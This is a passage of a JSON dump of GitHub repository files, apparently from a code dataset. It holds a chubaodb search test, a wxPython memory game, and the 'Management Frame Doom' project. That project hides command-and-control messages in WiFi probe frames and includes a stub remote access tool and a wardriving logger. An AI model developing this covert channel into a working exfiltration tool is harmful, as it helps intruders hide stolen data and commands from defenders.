config.ROUTER + \"/put/t1/5\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": [\"ansj\", \"sun\"],\n \"age\": 72,\n \"content\": \"hello tig11x\",\n \"price\": 100.0,\n \"birthday\": \"0206-06-07\",\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"doc put ---\\n\" + response.text)\n assert response.status_code == 200\n\n\ndef test_search():\n time.sleep(5)\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content&sort=age:desc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"age\"] == 72\n\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content&sort=age:asc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"age\"] == 33\n\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content&sort=price:desc|age:asc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"age\"] == 33\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"price\"] == 100\n assert v[\"hits\"][1][\"doc\"][\"_source\"][\"age\"] == 72\n assert v[\"hits\"][1][\"doc\"][\"_source\"][\"price\"] == 100\n\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?query=hello%20tig&size=10&def_fields=content&sort=price:desc|age:desc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"age\"] == 72\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"price\"] == 100\n assert v[\"hits\"][1][\"doc\"][\"_source\"][\"age\"] == 33\n assert v[\"hits\"][1][\"doc\"][\"_source\"][\"price\"] == 100\n\n response = requests.get(\n \"http://\"+config.ROUTER+\"/search/t1?sort=birthday:asc\")\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n v = json.loads(response.text)\n assert v[\"code\"] == 200\n assert v[\"hits\"][0][\"doc\"][\"_source\"][\"birthday\"] == \"0206-06-07\"\n assert v[\"hits\"][1][\"doc\"][\"_source\"][\"birthday\"] == \"2016-06-07\"\n assert v[\"hits\"][2][\"doc\"][\"_source\"][\"birthday\"] == \"2016-06-08\"\n assert v[\"hits\"][3][\"doc\"][\"_source\"][\"birthday\"] == \"2016-07-07\"\n" }, { "alpha_fraction": 0.44999998807907104, "alphanum_fraction": 0.44999998807907104, "avg_line_length": 5.666666507720947, "blob_id": "8d91682cd0a8fcd9702f44f98b45b5e5f25036d9", "content_id": "373f8f6762f45028dbc18a2643ec3e126fc4abb4", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 32, "license_type": "permissive", "max_line_length": 11, "num_lines": 3, "path": "/docs/zh-CN/src/cluster.md", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# 集群模式\n\n编造ing......\n" } ]
65
zoenberger/Memory-Game-using-wxPython
https://github.com/zoenberger/Memory-Game-using-wxPython
c6c9aef58d583f16955905ec0fbf230e267f9df3
c1f4b452b8f0bc0426b0935b501a0307e0eb7b73
d14f3268cc7688c0e662059d352d75edeae1523d
refs/heads/master
2021-01-25T05:15:50.194977
2015-09-15T01:15:00
2015-09-15T01:15:00
42,372,973
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5577835440635681, "alphanum_fraction": 0.5698577165603638, "avg_line_length": 37.338844299316406, "blob_id": "6cb8aa54bde211ad39240642eea0989b004fe26d", "content_id": "d9e67027d89e1ee1b43ec22e4d349f61249c8881", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4638, "license_type": "no_license", "max_line_length": 103, "num_lines": 121, "path": "/memory.py", "repo_name": "zoenberger/Memory-Game-using-wxPython", "src_encoding": "UTF-8", "text": "#Basic Memory Game\n#All images should be in folder named \"Images\"\n#Images used are W:100px H:150px, though any size works if all images same size\n#Line 32 has some commented out code to print the key to terminal for testing.\n\n\nimport wx, os, random, time\n\nclass MemoryGame(wx.Frame):\n def __init__(self):\n wx.Frame.__init__(self, None, title='Memory')\n self.SetSize((900,700))\n self.Move((50,25))\n self.panel = wx.Panel(self) \n \n \n #define how big game is...can be useful for making skill options later\n self.numPairs = 12\n \n \n #get all images in directory called \"Images\" & shuffle order\n self.imageArray = GetJpgList(\"./Images\")\n random.shuffle(self.imageArray)\n \n #create array with how many cards needed and double it to make matched pairs \n self.imagePairs = self.imageArray[0:self.numPairs]\n self.imagePairs = self.imagePairs * 2\n\n #because we doubled, we need to re-shuffle order\n random.shuffle(self.imagePairs)\n \n #PRINT KEY TO TERMINAL SO YOU CAN QUICKLY SOLVE\n# countrow=0\n# for card in self.imagePairs:\n# countrow +=1\n# if countrow%6 == 0:\n# print card\n# else:\n# print card,\n \n #create blank card and give name of file name\n card = wx.Image('card.jpg',wx.BITMAP_TYPE_ANY).ConvertToBitmap()\n self.blankCards =[]\n for i in range(len(self.imagePairs)):\n self.blankCards.append(wx.StaticBitmap(self.panel,wx.ID_ANY, card,name=self.imagePairs[i]))\n \n #bind left click to each card that calls check function\n for img in self.blankCards:\n img.Bind(wx.EVT_LEFT_DOWN, self.onClick)\n \n \n #Visual Layout\n hbox = wx.BoxSizer(wx.HORIZONTAL)\n gs = wx.GridSizer(4, 6, 15, 15)\n gs.AddMany(self.blankCards) \n hbox.Add(gs, proportion=0, flag = wx.LEFT | wx.TOP, border = 10)\n \n title = wx.StaticText(self.panel, label=\"Memory Game\")\n hbox.Add(title,proportion=1, flag = wx.LEFT | wx.TOP | wx.RIGHT | wx.EXPAND, border = 10)\n \n self.panel.SetSizer(hbox)\n self.Show()\n \n self.foundMatches= 0 #Keeps track to see if you've won.\n self.clickCount = 0 #keeps track of 1st or second click.\n self.card1 = '' #holding spot if it's first click\n self.totalTries = 0\n\n #----------------------------------------------------------------------\n def onClick(self, event):\n self.clickCount += 1\n \n #get card clicked on, swap out blank image with image by filename\n newCard = event.GetEventObject()\n img = wx.Image(newCard.GetName(), wx.BITMAP_TYPE_ANY)\n newCard.SetBitmap(wx.BitmapFromImage(img)) \n \n if self.clickCount == 1:\n self.card1 = newCard #put into holding space if 1st click\n self.card1.Unbind(wx.EVT_LEFT_DOWN)\n \n else:\n #FOUND MATCH: Unbind click events. Update match tracker\n self.totalTries += 1\n if (newCard.GetName() == self.card1.GetName()):\n for findItem in self.blankCards:\n if findItem.GetName() == newCard.GetName():\n findItem.Unbind(wx.EVT_LEFT_DOWN)\n self.foundMatches += 1\n print(self.foundMatches)\n else: \n #NO MATCH: Wait then hide both cards again. \n time.sleep(1) #This basically freezes screen, but clicks still captured.\n blankCard = wx.Image('card.jpg', wx.BITMAP_TYPE_ANY)\n newCard.SetBitmap(wx.BitmapFromImage(blankCard))\n self.card1.SetBitmap(wx.BitmapFromImage(blankCard))\n self.card1.Bind(wx.EVT_LEFT_DOWN, self.onClick)\n self.clickCount = 0\n \n if self.foundMatches == self.numPairs:\n Winner()\n print(\"Total Tries = \" + str(self.totalTries))\n \n \n#NOTE: Make the winning more exciting. Hahahaha\ndef Winner():\n print \"WINNER WINNER WINNER!\"\n\n\n#get all JPEGs in a directory that is passed and return image names array\n#Note I found this code snippet here: http://wiki.wxpython.org/wxStaticBitmap\ndef GetJpgList(loc):\n jpgs = [f for f in os.listdir(loc) if f[-4:] == \".jpg\"]\n #print \"JPGS are:\", jpgs\n return [os.path.join(loc, f) for f in jpgs]\n \n \nif __name__ == '__main__':\n app = wx.App(False)\n frame = MemoryGame()\n app.MainLoop()" }, { "alpha_fraction": 0.7709113359451294, "alphanum_fraction": 0.7746566534042358, "avg_line_length": 75.23809814453125, "blob_id": "d9eae9d0e8fd322d00b343b1c2b034e70349c1f5", "content_id": "8961f5bf713a9afc1afd4ff5991ea79bbf551652", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1602, "license_type": "no_license", "max_line_length": 381, "num_lines": 21, "path": "/README.md", "repo_name": "zoenberger/Memory-Game-using-wxPython", "src_encoding": "UTF-8", "text": "# Memory-Game-using-wxPython\n\nREQUIRES: wxPython. So go install that first. \n\nBackground: I was doing some wxPython tutorials, but I just wasn't getting it, so I gave myself a mini project: this game! It's just a basic memory game with cards you click looking for pairs. Very ruidimentary on initial commit, but works great-ish!\n\n\nIMAGES:\nAll the images in the Images folder are so you can run out of box. You can actually populate that folder with your own JPEGs and it will work fine. Though make sure all the JPEGs are same size or something will happen probably. You can also change the function that reads the Images folder to read PNG files or other supported types by wxPython. I just left it .jpg files for now. \nSleep Function:\nUgh. When the user clicks on the second card and it is NOT a match, the program wiaths 1.5 seconds so the user can look at the cards before they're hidden again. Standard SOP for memory games. However, the Sleep timer I used doesn't halt wxPython event handling, so if you click during the time, it executes it immediately after timer. Need to make that better.\n\n\nHippie Score Keeping:\nAka, no score keeping. I would like to add a timer for the game and number of succesful attempts and total attempts. That's why there is a blank space to right. \n\nSkill Levels:\nAs of now, one skill level: 24 cards with 12 pairs. Though I tried to make some built-in flexibility for added functionality later. \n\nwxPython:\nI don't know why I find it so difficult, but I'm trying. And if you see bad practices in my code (which I'm sure it's riddled with), be sure to let me know. \n" } ]
2
CuckooEXE/Management-Frame-Doom
https://github.com/CuckooEXE/Management-Frame-Doom
1113f1517210dcd3ea63052ca91fb4d4caafba68
fad651447c3dd89ebd3a3753dbc7a2efb7033c8b
97341b8c370b196729168e46ad678f1401ee2e83
refs/heads/main
2023-03-06T15:12:58.015274
2021-02-21T20:29:09
2021-02-21T20:29:09
339,258,608
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.6176801919937134, "alphanum_fraction": 0.6266891956329346, "avg_line_length": 30.73214340209961, "blob_id": "b7457b6d4a1d6bace3a34d98305755595be2b838", "content_id": "d7c93a148ccf8a481ca341f4187ef4ab509ca1bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1776, "license_type": "permissive", "max_line_length": 198, "num_lines": 56, "path": "/c2.py", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "\"\"\"\nc2 - Example C2 server that uses MF Doom as its communication vector\n\nAuthor: Axel Persinger\nLicense: MIT License\n\"\"\"\n\n\n\"\"\"\nImported Libraries\n\nscapy - Networking/Packet library\nargparse - Argument parsing library\ngolay - Golay Coding\nmfdoom - Management Frame Doom project\n\"\"\"\nimport scapy.layers\nimport scapy.layers.dot11\nimport scapy.sendrecv\nimport scapy.utils\nimport argparse\nimport golay\nimport mfdoom\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--iface', type=str, required=True, action='store', help=\"Interface to send/receive on\")\n parser.add_argument('-d', '--dump', required=False, default=False, action='store_true', help=\"Take no input, just dump all messages from clients\")\n args = parser.parse_args()\n\n # Sniff traffic, if a packet passes the lfilter (if it's a Probe Request), pass it to prn\n try:\n while True:\n sniffer = mfdoom.Sniffer()\n sniffer.password = b'Password123!@#'\n scapy.sendrecv.sniff(\n count=1,\n iface=args.iface, \n lfilter=lambda pkt: (pkt.haslayer(scapy.layers.dot11.Dot11ProbeReq) and pkt.haslayer(scapy.layers.dot11.Dot11Elt) and pkt.type == 0 and pkt.subtype == 4 and mfdoom.extract_msg(pkt)),\n prn=sniffer.process_proberequest,\n )\n if not args.dump:\n cmd = input('< ').encode('utf-8')\n cmd = golay.encode(cmd)\n cmd = golay.xor(cmd, b'password')\n pkt = mfdoom.gen_proberesponse(cmd)\n scapy.sendrecv.send(pkt, iface=args.iface, verbose=False)\n \n except KeyboardInterrupt:\n print(\"[*] INFO: Keyboard Interrupt sent... Exiting...\")\n return\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.5737152695655823, "alphanum_fraction": 0.5787699818611145, "avg_line_length": 21.41509437561035, "blob_id": "c610a7293c3a76859b5712196e10116fee2bae11", "content_id": "c7b78092b01b834e3c5e9012e0250ec5817d646d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1187, "license_type": "permissive", "max_line_length": 98, "num_lines": 53, "path": "/rat.py", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "\"\"\"\nrat - This is an incredibly bad Remote Access Tool made to demonstrate communication via M.F. Doom\n\nThe point of this isn't the RAT part, it's just a showcase\n\nAuthor: Axel Persinger\nLicense: MIT License\n\"\"\"\n\n\n\"\"\"\nImported Libraries\n\ngolay - Golay encoding\nmfdoom - Management Frame communication system\nscapy.sendrecv - Send and recv packets with Scapy\nsubprocess - Execute commands and get STDOUT/STDIN\n\"\"\"\nimport golay\nimport mfdoom\nimport scapy.sendrecv\nimport subprocess\nimport datetime\n\n\ndef main():\n i = 1\n while True:\n try:\n # Craft packet\n # msg = golay.xor(msg, b'Password123!@#')\n # msg = golay.encode(msg)\n # pkt = mfdoom.gen_proberequest(msg)\n \n # # Send packet and receive response\n # resp = scapy.sendrecv.srp1(pkt)\n\n \n # # msg = golay.xor(msg, self.password)\n # msg = golay.decode(msg)\n # print('>', msg)\n\n pkt = mfdoom.gen_proberequest(\"Packet {}: {}\".format(i, datetime.datetime.now()))\n scapy.sendrecv.sendp(pkt)\n i+=1\n\n \n except:\n pass\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.6887068748474121, "alphanum_fraction": 0.7203042507171631, "avg_line_length": 42.092437744140625, "blob_id": "a8225a4ce4942c71301ddf09d84daa2828ebc6a3", "content_id": "e5ea35c9a07e82f6420b03d54f882789de157de4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5127, "license_type": "permissive", "max_line_length": 417, "num_lines": 119, "path": "/README.md", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "<p align=\"center\" width=\"100%\">\n <img width=\"33%\" src=\"https://raw.githubusercontent.com/CuckooEXE/Management-Frame-Doom/main/imgs/management-frame-doom.png\"> \n</p>\n\n\n# Management Frame Doom\n\nThis project embeds infiltration and exfiltration data in valid WiFi managemement frames. This allows an attacker in proximity to an attacker-controlled client to have bi-directional communications in a method that would be nearly impossible for defenders to pick up on.\n\n## Name\n\nM.F. Doom is a fantastic artist you should listen to, I named this project in tribute to them.\n\n# Theory\n\nWiFi uses special packets called \"management frames\" to control the communications between clients and Access Points. Simply put, management frames are things like \"Hey I want to join your network!\" and \"Hi, I'm broadcasting WiFi with this SSID on this channel\", etc.\n\nWhat if we could stuff extra attacker-defined data into these packets? No one would ever think to look in them, right?\n\n## Management Frames\n\n\n\n## Probe Frames\n\nProbe frames are sent by clients (a.k.a. your phone or computer) to see what WiFis are in-range, and what protocols they support. Imagine walking into a room and yelling \"WHO IS HERE, AND DO YOU SPEAK MY LANGUAGE?\", that's a \"probe request\", essentially. In response, \"probe response\" packets are sent by APs that support your language.\n\n## Probe Request\n\nIt's fairly handy that we can actually have the attacker poll and wait for a communication than the other way around. A lot of time, if your implant/malware needs to poll and wait for a message, it makes it much easier to find. Since Probe Requests initiate the communications, we can just start sending data out and assume the attacker receives it (or if we really want to, we can implement a SYN-SYN/ACK-ACK model).\n\n\n![Probe Request](imgs/image.png)\n\nRefering to the image above, we can start understanding some of the information:\n\n**IEE 802.11 Probe Request:** This is the Probe Request Management frame basically saying \"Hey this is a probe request\"\n1. Type/Subtype: This will always be 0x4 for a probe request\n2. Frame Control Version: Version is always 0x00, Type is always 0x00, and Subtype is always 0x04\n3. Flags: This will always be 0x00 for our purposes\n4. Receiver Address: This will always be `ff:ff:ff:ff:ff:ff` for probe requests\n5. Destination Address: This will always be `ff:ff:ff:ff:ff:ff` for probe requests\n6. Transmitter Address: This needs to be our interface's MAC if we want to receive the request. We could set this to another address if we have the interface in monitor mode, however I want to see if this project works without root.\n7. Source Address: This needs to be our interface's MAC if we want to receive the request. We could set this to another address if we have the interface in monitor mode, however I want to see if this project works without root.\n8. BSS Id: This will always be `ff:ff:ff:ff:ff:ff` for probe requests\n****\n**IEEE 802.11 Wireless Management:** This is where the information we want to stuff will go. This information is all decided by the client and even supports \"extended\" information. This handy image from MRN-CCIEW explains this section:\n\n![Wireless Management Packet](https://mrncciew.files.wordpress.com/2014/10/cwap-probe-10.png)\n\nSo looking through the various Tags we can send over in a Probe Request, I'm looking for something pretty innocuous that would allow stuff more data, and I ended up with Tag Number 0x45 \"Time Advertisement\".\n\n## Probe Response\n\nProbe responses come from the Access Points as they receive the Probe Requests and determine they can indeed connect. Well, what if we controlled the AP, and what if we only determine that our client can connect. \n\n\n# WarDriver\n\n`wardriver.py` is just a [wardriving](https://en.wikipedia.org/wiki/Wardriving) utility I built to collect 802.11 Probe Frame Parameters/Tags. It requires access to a MongoDB instance to add items to, to spin up a MongoDB server quickly, you can follow this guide:\n\n```bash\n# Install the MongoDB python library\npip install pymongo\n\n# Following https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/\nwget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -\necho \"deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main\" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list\nsudo apt-get update\nsudo apt-get install -y mongodb-org\nsudo systemctl daemon-reload\nsudo systemctl enable mongod\nsudo systemctl start mongod\n```\n\nThen you can run the script:\n\n```bash\n\n$ sudo python3 wardriver.py --iface wlan0mon --db localhost\nSession Results:\n ID Count\n---- -------\n 0 1\n 1 1\n 3 1\n 45 1\n 50 1\n 127 1\n 191 1\n 107 1\n 59 1\n 5 1\n 7 1\n 42 1\n 48 1\n 70 1\n 61 1\n 221 1\nAll Results:\n ID Count\n---- -------\n 61 2\n 70 2\n 42 2\n 7 2\n 48 2\n 5 2\n 107 3\n 59 5\n 221 7\n 191 10\n 127 16\n 3 16\n 45 20\n 50 23\n 1 23\n 0 23\n```" }, { "alpha_fraction": 0.628902792930603, "alphanum_fraction": 0.6642878651618958, "avg_line_length": 30.148147583007812, "blob_id": "dc9cc6695ef1e86c70a93a20d1a773c14da88592", "content_id": "b8c1bd132d8bd63f1861e24555319a96ef6832dd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3363, "license_type": "permissive", "max_line_length": 142, "num_lines": 108, "path": "/mfdoom.py", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "\"\"\"\nManagement Frame Doom (M.F. DOOM): This project aims to provide a form of covert communications between two nodes via WiFi Management Frames\n\nAuthor: Axel Persinger\nLicense: MIT License\n\"\"\"\n\n\n\"\"\"\nImported Libraries\n\nscapy - Networking/Packet library\nargparse - Argument parsing library\ngolay - Golay Coding\n\"\"\"\nimport scapy.layers\nimport scapy.layers.dot11\nimport scapy.sendrecv\nimport golay\n\n\ndef gen_proberequest(msg: bytes, src_addr: str = \"ff:ff:ff:ff:ff:ff\") -> scapy.packet:\n \"\"\"\n Generates a probe request with a given message\n\n :param msg: Message to embed in packet\n :type msg: bytes\n :param src_addr: Source address for the probe request, defaults to \"ff:ff:ff:ff:ff:ff\"\n :type src_addr: str, optional\n\n :return: Generated scapy packet\n :rtype: scapy.packet\n \"\"\"\n pkt = scapy.layers.dot11.RadioTap(\n # Default Args\n ) / scapy.layers.dot11.Dot11(\n type=0, subtype=4, FCfield=0x4000, cfe=0, ID=0, SC=0, addr1='ff:ff:ff:ff:ff:ff', addr2=src_addr, addr3='ff:ff:ff:ff:ff:ff', addr4=None\n ) / scapy.layers.dot11.Dot11ProbeReq(\n # Default Args\n ) / scapy.layers.dot11.Dot11Elt(\n info=msg, ID=0x45, len=len(msg) # 0x45 - Time Advertisement\n )\n return pkt\n\n\ndef gen_proberesponse(msg: bytes, src_addr: str = \"ff:ff:ff:ff:ff:ff\") -> scapy.packet:\n \"\"\"\n Generates a probe response with a given message\n\n :param msg: Message to embed in packet\n :type msg: bytes\n :param src_addr: Source address for the probe response, defaults to \"ff:ff:ff:ff:ff:ff\"\n :type src_addr: str, optional\n\n :return: Generated scapy packet\n :rtype: scapy.packet\n \"\"\"\n pkt = scapy.layers.dot11.RadioTap(\n # Default Args\n ) / scapy.layers.dot11.Dot11(\n type=0, subtype=4, FCfield=0x4000, cfe=0, ID=0, SC=0, addr1='ff:ff:ff:ff:ff:ff', addr2=src_addr, addr3='ff:ff:ff:ff:ff:ff', addr4=None\n ) / scapy.layers.dot11.Dot11ProbeResp(\n # Default Args\n ) / scapy.layers.dot11.Dot11Elt(\n info=msg, ID=0x45, len=len(msg) # 0x45 - Time Advertisement\n )\n return pkt\n\n\ndef extract_msg(pkt: scapy.packet) -> bytes:\n \"\"\"\n Extracts an encoded, encrypted message from a Probe Request/Response packet\n\n :param pkt: packet that contains the message\n :type pkt: scapy.packet\n :return: message\n :rtype: bytes\n \"\"\"\n # if not\n dot11elt = pkt.getlayer(scapy.layers.dot11.Dot11Elt)\n while dot11elt and dot11elt.ID != 0x45:\n dot11elt = dot11elt.payload.getlayer(scapy.layers.dot11.Dot11Elt)\n \n if not dot11elt: # Will be None if nothing was found, so return\n return\n\n # We now know that this is a Time Advertisement packet\n # Grab the info from it, decrypt it, decode it\n return dot11elt.info\n\n\nclass Sniffer():\n \"\"\"\n Defines the Sniffer class. This is mainly done so we can run the process_proberequest with things like a password for the XOR encryption\n \"\"\"\n password = b''\n\n\n def process_proberequest(self, pkt: scapy.packet):\n \"\"\"\n Receives each packet and determines if it's a probe request, if it is, and it matches our signature, we respond to it.\n Adapted from https://gist.github.com/dropmeaword/42636d180d52e52e2d8b6275e79484a0\n\n :param pkt: Packet intercepted\n :type pkt: scapy.packet\n \"\"\" \n msg = extract_msg(pkt)\n print('>', msg)" }, { "alpha_fraction": 0.5973756909370422, "alphanum_fraction": 0.6180939078330994, "avg_line_length": 24.19130516052246, "blob_id": "37b78c29719dd7d4942cfa1d4f320c31eb8d5aed", "content_id": "2b97968cb6c754cd9e059b75e81dc382a8d5fdc9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2896, "license_type": "permissive", "max_line_length": 134, "num_lines": 115, "path": "/wardriver.py", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "\"\"\"\nwardriver.py - Collects 802.11 Management Frame Tags/Parameters for analysis\n\nAuthor: Axel Persinger\nLicense: MIT License\n\"\"\"\n\n\n\"\"\"\nImported Libraries\n\nargparse - Argument parser\npymongo - MongoDB library\nthreading - Threading library for console output\ntime - Sleep\ntabulate - Pretty output tables\nscapy - Python Networking library for sniffing\n\"\"\"\nimport argparse\nimport pymongo\nimport threading\nimport time\nimport tabulate\nimport scapy.layers\nimport scapy.layers.dot11\nimport scapy.sendrecv\nimport scapy.utils\n\n\"\"\"\nGlobal Variables\n\n_client - MongoDB Client\n_stats - Packet capture statistics\n\"\"\"\n_client = None\n_stats = {}\n\n\ndef console():\n \"\"\"\n Outputs statistics of captured packets\n \"\"\"\n while True:\n # Clear the screen\n print(\"\\033c\\033[3J\", end='')\n \n # Aggregate results from DB\n results = _client.MFDoom.WarDriver.aggregate([\n {\"$group\": {\"_id\": \"$TagID\", \"count\": {\"$sum\": 1}}},\n { \"$sort\": { \"count\": -1 } }\n ])\n \n # Print current session results\n print(\"Session Results:\")\n print(tabulate.tabulate(sorted(_stats.items(), key=lambda x: x[1]), headers=[\"ID\", \"Count\"]))\n print()\n # Print global results\n print(\"All Results:\")\n print(tabulate.tabulate(sorted([(i['_id'], i['count']) for i in results], key=lambda x: x[1]), headers=[\"ID\", \"Count\"]))\n\n time.sleep(3)\n\n\ndef log_layers(pkt: scapy.packet):\n \"\"\"\n Logs the various 802.11 Tag Layers in the packet\n\n :param pkt: Packet that was sniffed\n :type pkt: scapy.packet\n \"\"\"\n global _stats\n\n dot11elt = pkt.getlayer(scapy.layers.dot11.Dot11Elt)\n while dot11elt:\n # print('ID:', dot11elt.ID, 'INFO:', dot11elt.info)\n \n # Update session statistics\n if str(dot11elt.ID) in _stats:\n _stats[str(dot11elt.ID)] += 1\n else:\n _stats[str(dot11elt.ID)] = 1\n\n # Update DB\n _client.MFDoom.WarDriver.insert_one({\n 'TagID': dot11elt.ID,\n 'TagInfo': dot11elt.info\n })\n\n # Get next layer\n dot11elt = dot11elt.payload.getlayer(scapy.layers.dot11.Dot11Elt)\n\n\ndef main():\n global _client\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--iface', type=str, required=True, action='store', help=\"Interface to send/receive on\")\n parser.add_argument('-d', '--db', type=str, required=True, action='store', help=\"Database connection string for MongoDB instance\")\n args = parser.parse_args()\n\n # Connect to the DB\n _client = pymongo.MongoClient(args.db)\n\n # Start the console-logger\n threading.Thread(target=console).start()\n \n # Sniff the packets\n scapy.sendrecv.sniff(\n iface=args.iface, \n lfilter=lambda pkt: pkt.haslayer(scapy.layers.dot11.Dot11Elt),\n prn=log_layers,\n )\n\n\nif __name__ == '__main__':\n main()" }, { "alpha_fraction": 0.6386271715164185, "alphanum_fraction": 0.641991913318634, "avg_line_length": 24.169490814208984, "blob_id": "bdf28e09a1ac384cdf8f520e23a91f392f9eef62", "content_id": "b5f8434742fd1b68c7b98d5a38fd46caf2cd8413", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1486, "license_type": "permissive", "max_line_length": 145, "num_lines": 59, "path": "/golay.py", "repo_name": "CuckooEXE/Management-Frame-Doom", "src_encoding": "UTF-8", "text": "\"\"\"\nImplements the Golay encoding for error-detection and error-correction\n\nAuthor: Axel Persinger\nLicense: MIT License\n\"\"\"\n\n\n\"\"\"\nImported Libraries\n\n\"\"\"\n\n\ndef encode(msg: str) -> bytes:\n \"\"\"\n Performs Golay message encoding\n\n :param msg: Message to send\n :type msg: str\n :return: Encoded bytes\n :rtype: bytes\n \"\"\"\n # TODO: Implement this\n return msg\n\n\ndef decode(msg: bytes) -> list:\n \"\"\"\n Performs Golay message decoding\n\n :param msg: Message portion of packet that's been carved out\n :type msg: bytes\n :return: List of tuples in form of [(orig_msg, decoded_msg, errors), ...]\n :rtype: bytes\n \"\"\"\n # TODO: Implement this\n return msg\n\n\ndef xor(msg: bytes, key: bytes, strict: bool = False) -> bytes:\n \"\"\"\n XOR encrypts/decrypts a message\n\n :param msg: Message to encrypt/decrypt\n :type msg: bytes\n :param key: Key to use\n :type key: bytes\n :param strict: If encrypting and this is set to True, the key MUST be at least as long as the message to enforce OTP rules, defaults to False\n :type strict: bool, optional\n :return: Encrypted/Decrypted message\n :rtype: bytes\n \"\"\"\n if len(msg) > len(key) and strict:\n raise ValueError(\"Key must be at least as long as the Message when Strict is set to True\")\n elif len(msg) > len(key): # Extend the key be the length of the message\n key = (key * (int(len(msg)/len(key))+1))[:len(msg)]\n\n return bytearray([c1 ^ c2 for c1, c2 in zip(msg, key)])\n\n" } ]
6
learn-co-curriculum/dsc-dictionaries-lab
https://github.com/learn-co-curriculum/dsc-dictionaries-lab
46fa437f8ab84fd2d57fcd083d78a136a8c4f442
6947dadf63177c835a417739117f358f20202153
fb5b1c4d4d0a197a09dc80ee2a3c9837dc349007
refs/heads/master
2023-05-24T21:30:00.446775
2022-08-01T19:57:05
2022-08-01T19:57:05
172,090,428
1
176
NOASSERTION
2019-02-22T15:37:57
2019-09-06T21:13:48
2019-09-20T18:31:58
Jupyter Notebook
[ { "alpha_fraction": 0.6704288721084595, "alphanum_fraction": 0.7012791633605957, "avg_line_length": 32.224998474121094, "blob_id": "baed6cba09b44ed80ec07ecb6ed48882a94e51d9", "content_id": "343e019342cd7a94a303445bf10cd5df698703d5", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1329, "license_type": "permissive", "max_line_length": 187, "num_lines": 40, "path": "/pytests/test_index.py", "repo_name": "learn-co-curriculum/dsc-dictionaries-lab", "src_encoding": "UTF-8", "text": "# importing testing framwork\nimport pytests\n\n# importing objects from the jupyter notebook here\nfrom ipynb.fs.full.index import greenville, greenville_population, greenville_area, city_keys, city_values, cities, salina, los_cabos_pop, city_count, pyeongchang_keys, pyeongchang_values\n\n# format for writing tests\n# all functions that are to be run by test suite *must* be prepended with test_\n\ndef test_greenville_population():\n assert greenville_population == 84554\n\ndef test_greenville_area():\n assert greenville_area == 68\n\ndef test_city_keys():\n assert city_keys == ['Area', 'City', 'Country', 'Population']\n\ndef test_city_values():\n assert city_values == [68, 'Greenville', 'USA', 84554]\n\ndef test_salina():\n assert salina == {'Area': 27, 'City': 'Salina Island', 'Country': 'Italy', 'Population': 4000}\n\ndef test_los_cabos_pop():\n assert los_cabos_pop == 287651\n\ndef test_city_count():\n assert city_count == 12\n\ndef test_change_spelling():\n assert cities[11]['City'] == 'PyeongChang'\n\ndef test_pyeongchang_keys():\n assert type(pyeongchang_keys) == type(list())\n assert pyeongchang_keys == ['City', 'Country', 'Population', 'Area']\n\ndef test_pyeongchang_values():\n assert type(pyeongchang_values) == type(list())\n assert pyeongchang_values == ['PyeongChang', 'South Korea', 2581000, 3194]\n" } ]
1
gitshivanrbn/Server
https://github.com/gitshivanrbn/Server
1951c9a57a082d6cc569a0a8a87e989277dd3738
